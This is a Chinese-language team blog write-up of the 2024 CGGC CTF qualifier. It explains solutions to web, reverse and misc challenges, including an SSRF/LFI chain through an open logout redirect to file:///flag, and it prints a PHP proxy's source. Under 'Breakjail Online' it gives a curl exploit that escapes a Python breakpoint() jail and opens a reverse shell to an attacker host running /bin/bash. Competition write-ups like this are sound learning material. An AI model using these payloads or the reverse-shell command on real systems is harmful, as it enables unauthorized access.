2024 CGGC 初賽 WriteUp
[TOC]
## 成績

窩不資到 10th
看完整[Profile](https://img.stoneapp.tech/t510599/cggc-2024/quals/Profile.jpeg)、[Scoreboard](https://img.stoneapp.tech/t510599/cggc-2024/quals/Scoreboard.jpeg)
## 比賽資訊
2024 CGGC 網路守護者挑戰賽 初賽
時間: 2024/11/2 12:00 ~ 2024/11/4 00:00 (36hr)
官網: https://cggc.nchc.org.tw/
取前 10 進決賽
## 前言
繼上次[神盾盃](post.php?pid=980) 又跟 @a91082900 還有 @kuokuoyiyi 大佬一起打 CTF 了
最後又壓線賽進決賽了 XDD
一樣寫個 writeup 紀錄一下 (只有放自己有解的題目)
---
待補
## Reverse
### very_secure
題目附了一個 esp32 的 firmware
裡面有一個 HTTP Server
flag: `CGGC{i0t_ar3_very_secure}`
## Web
### Preview Site 🔍
有登入、登出跟 fetch url 的功能
fetch url 只能是 `http://previewsite/` 開頭的 url
而內部則用 `urllib.request.urlopen` 來連線
他同時也支援 `file:` scheme 所以可以 LFI
其中登出可以帶 `next` 參數 登出後會 redirect 到該 url
又因為 fetch url 會 follow 一次 redirect
所以可以給他 `/logout?next=file:///flag` 來存取 server 上的 `/flag`
flag: *沒存到 OwO*
### proxy
一樣是有 fetch url 功能的網站
題目說存取 `http://secretweb/flag` 來拿到 flag
另外其 source code 如下:
```
function proxy($service) {
// $service = "switchrange";
// $service = "previewsite";
// $service = "越獄";
$requestUri = $_SERVER['REQUEST_URI'];
$parsedUrl = parse_url($requestUri);
$port = 80;
if (isset($_GET['port'])) {
$port = (int)$_GET['port'];
} else if ($_COOKIE["port"]) {
$port = (int)$_COOKIE['port'];
}
setcookie("service", $service);
setcookie("port", $port);
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$filter = '!$%^&*()=+[]{}|;\'",<>?_-/#:.\\@';
$fixeddomain = trim(trim($service, $filter).".cggc.chummy.tw:".$port, $filter);
$fixeddomain = idn_to_ascii($fixeddomain);
$fixeddomain = preg_replace('/[^0-9a-zA-Z-.:_]/', '', $fixeddomain);
curl_setopt($ch, CURLOPT_URL, 'http://'.$fixeddomain.$parsedUrl['path'].'?'.$_SERVER['QUERY_STRING']);
curl_exec($ch);
curl_close($ch);
}
```
這邊可以看到他會 filter service 裡面的符號後拼成 domain
再傳給 `idn_to_ascii` 最後只留下數字、字母、dash、底線、點跟 port 用的冒號
因為他用 curl 預設會 follow redirect
又比賽中 `<service>.cggc.chummy.tw` 是會解析到該題的
所以可以借用前一題 [Preview Site](#Preview%20Site%20%F0%9F%94%8D) 的 redirect 直接導到 `http://secretweb/flag` 去
payload: `http://10.99.66.6/logout?port=10002&service=previewsite&next=http://secretweb/flag`
#### 另解
flag: `CGGC{1Dn_7O_45c11_5o_57R4n9E_11fc26f06c33e83f65ade64679dc0e58}`
### Breakjail Online 🛜
exploit:
```
curl -g "http://10.99.66.7:10003/SsTiMe?q=breakpoint(commands=%5B%22u%205%22,%22p%20exec(getattr(request,'query%5Cx5fstring')%5B109:%5D)%22%5D)&cmd=s=__import__('socket').socket(__import__('socket').AF_INET,__import__('socket').SOCK_STREAM);s.connect(('<ip>',40005));__import__('os').dup2(s.fileno(),0);__import__('os').dup2(s.fileno(),1);__import__('os').dup2(s.fileno(),2);__import__('pty').spawn('/bin/bash')"
```
flag: `CGGC{breakpoint_is_a_biiiig_gadget_oj237rpwd3i2}`
## Misc
### Breakjail ⛓️
exp:
```
breakpoint(commands=["u 10","p (*open('flag'),)"])
```
flag: `CGGC{breakpoint_new_feature_in_python_3.14a_can_GOOOOOTOOOOO_n23hq78weh12rb}`
2024-11-04 03:28:07
留言
Last fetch: --:--
現在還沒有留言!